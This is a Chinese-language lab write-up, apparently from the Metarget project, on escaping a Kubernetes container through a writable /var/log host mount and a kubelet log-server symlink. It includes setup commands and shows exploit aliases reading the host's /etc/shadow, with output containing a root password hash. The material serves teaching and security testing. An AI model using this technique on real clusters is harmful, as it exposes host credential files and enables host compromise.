【场景类型】
容器逃逸 - 危险挂载
【背景介绍】
当pod以可写权限挂载了宿主机的/var/log目录,而且pod里的service account有权限访问该pod在宿主机上的日志时,攻击者可以通过在容器内创建符号链接来完成简单逃逸
【漏洞原理】__
kubelet会在宿主机上的/var/log目录中创建一个目录结构,如图符号①,代表节点上的pod。但它实际上是一个符号链接,指向/var/lib/docker/containers
目录中的容器日志文件。当使用kubectl logs 命令查询指定pod的日志时,实际上是向kubelet的/logs/pods/
kubernetes\pkg\kubelet\kubelet.go:1371
if kl.logServer == nil {
kl.logServer = http.StripPrefix("/logs/", http.FileServer(http.Dir("/var/log/")))
}
kubelet会解析该请求地址,去/var/log对应的目录下读取log文件并返回。当pod以可写权限挂载了宿主机上的/var/log目录时,可以在该路径下创建一个符号链接,指向宿主机的根目录,然后构造包含该符号链接的恶意kubelet请求,宿主机在解析时会解析该符号链接,导致可以读取宿主机任意文件和目录__
【环境搭建】
- 任意版本的docker和k8s
./metarget gadget install docker --version 18.03.1./metarget gadget install k8s --version 1.16.5 --domestic
- 漏洞环境搭建
root@zyliang:~/metarget# ./metarget cnv install mount-var-logdocker already installedkubernetes already installedmount-var-log is going to be installedapplying yamls/k8s_metarget_namespace.yamlapplying vulns_cn/mounts/pods/mount-var-log.yamlmount-var-log successfully installed
root@zyliang:~/metarget# kubectl get pod -n metargetNAME READY STATUS RESTARTS AGEdvwa-web-86b6ccdc69-5cvld 1/1 Running 6 9dmount-var-log 1/1 Running 0 15m
执行完成后,K8s集群内metarget命令空间下将会创建一个名为mount-var-log的pod。宿主机的/var/log被挂载在容器内部且该pod有权限访问日志。
【漏洞复现】
pod内部已经内置好漏洞利用代码,可通过自定义命令读取宿主机的任意文件或目录。在Pod内可执行以下两种命令:
:::color2
lsh等于宿主机上的ls cath等于宿主机上的cat:::
- 容器内cat shadow文件
root@zyliang:~/metarget# kubectl exec -ti mount-var-log -n metarget bash
root@mount-var-log:~/exploit# cat /etc/shadow
root:*:18057:0:99999:7:::
daemon:*:18057:0:99999:7:::
bin:*:18057:0:99999:7:::
sys:*:18057:0:99999:7:::
sync:*:18057:0:99999:7:::
games:*:18057:0:99999:7:::
man:*:18057:0:99999:7:::
lp:*:18057:0:99999:7:::
mail:*:18057:0:99999:7:::
news:*:18057:0:99999:7:::
uucp:*:18057:0:99999:7:::
proxy:*:18057:0:99999:7:::
www-data:*:18057:0:99999:7:::
backup:*:18057:0:99999:7:::
list:*:18057:0:99999:7:::
irc:*:18057:0:99999:7:::
gnats:*:18057:0:99999:7:::
nobody:*:18057:0:99999:7:::
_apt:*:18057:0:99999:7:::
- 容器内cath shadow
root@mount-var-log:~/exploit# cath /etc/shadow
root:$6$BuIsoQdT$z0L74b3FxmjBD9DWZkfhvDPZvOMdWOf57Vglb.MqsYX5WfSxKJuvuAkYo.rdwtZYofPOL3QmKgHhIAVj7OOyi1:18744:0:99999:7:::
daemon:*:18744:0:99999:7:::
bin:*:18744:0:99999:7:::
sys:*:18744:0:99999:7:::
sync:*:18744:0:99999:7:::
games:*:18744:0:99999:7:::
man:*:18744:0:99999:7:::
lp:*:18744:0:99999:7:::
mail:*:18744:0:99999:7:::
news:*:18744:0:99999:7:::
uucp:*:18744:0:99999:7:::
proxy:*:18744:0:99999:7:::
www-data:*:18744:0:99999:7:::
backup:*:18744:0:99999:7:::
list:*:18744:0:99999:7:::
irc:*:18744:0:99999:7:::
gnats:*:18744:0:99999:7:::
nobody:*:18744:0:99999:7:::
systemd-network:*:18744:0:99999:7:::
systemd-resolve:*:18744:0:99999:7:::
syslog:*:18744:0:99999:7:::
messagebus:*:18744:0:99999:7:::
_apt:*:18744:0:99999:7:::
uuidd:*:18744:0:99999:7:::
sshd:*:18744:0:99999:7:::
Debian-snmp:!:18744:0:99999:7:::
- 宿主机cat shadow文件
root@zyliang:~/metarget# cat /etc/shadow
root:$6$BuIsoQdT$z0L74b3FxmjBD9DWZkfhvDPZvOMdWOf57Vglb.MqsYX5WfSxKJuvuAkYo.rdwtZYofPOL3QmKgHhIAVj7OOyi1:18744:0:99999:7:::
daemon:*:18744:0:99999:7:::
bin:*:18744:0:99999:7:::
sys:*:18744:0:99999:7:::
sync:*:18744:0:99999:7:::
games:*:18744:0:99999:7:::
man:*:18744:0:99999:7:::
lp:*:18744:0:99999:7:::
mail:*:18744:0:99999:7:::
news:*:18744:0:99999:7:::
uucp:*:18744:0:99999:7:::
proxy:*:18744:0:99999:7:::
www-data:*:18744:0:99999:7:::
backup:*:18744:0:99999:7:::
list:*:18744:0:99999:7:::
irc:*:18744:0:99999:7:::
gnats:*:18744:0:99999:7:::
nobody:*:18744:0:99999:7:::
systemd-network:*:18744:0:99999:7:::
systemd-resolve:*:18744:0:99999:7:::
syslog:*:18744:0:99999:7:::
messagebus:*:18744:0:99999:7:::
_apt:*:18744:0:99999:7:::
uuidd:*:18744:0:99999:7:::
sshd:*:18744:0:99999:7:::
Debian-snmp:!:18744:0:99999:7:::
【参考链接】
https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-var-log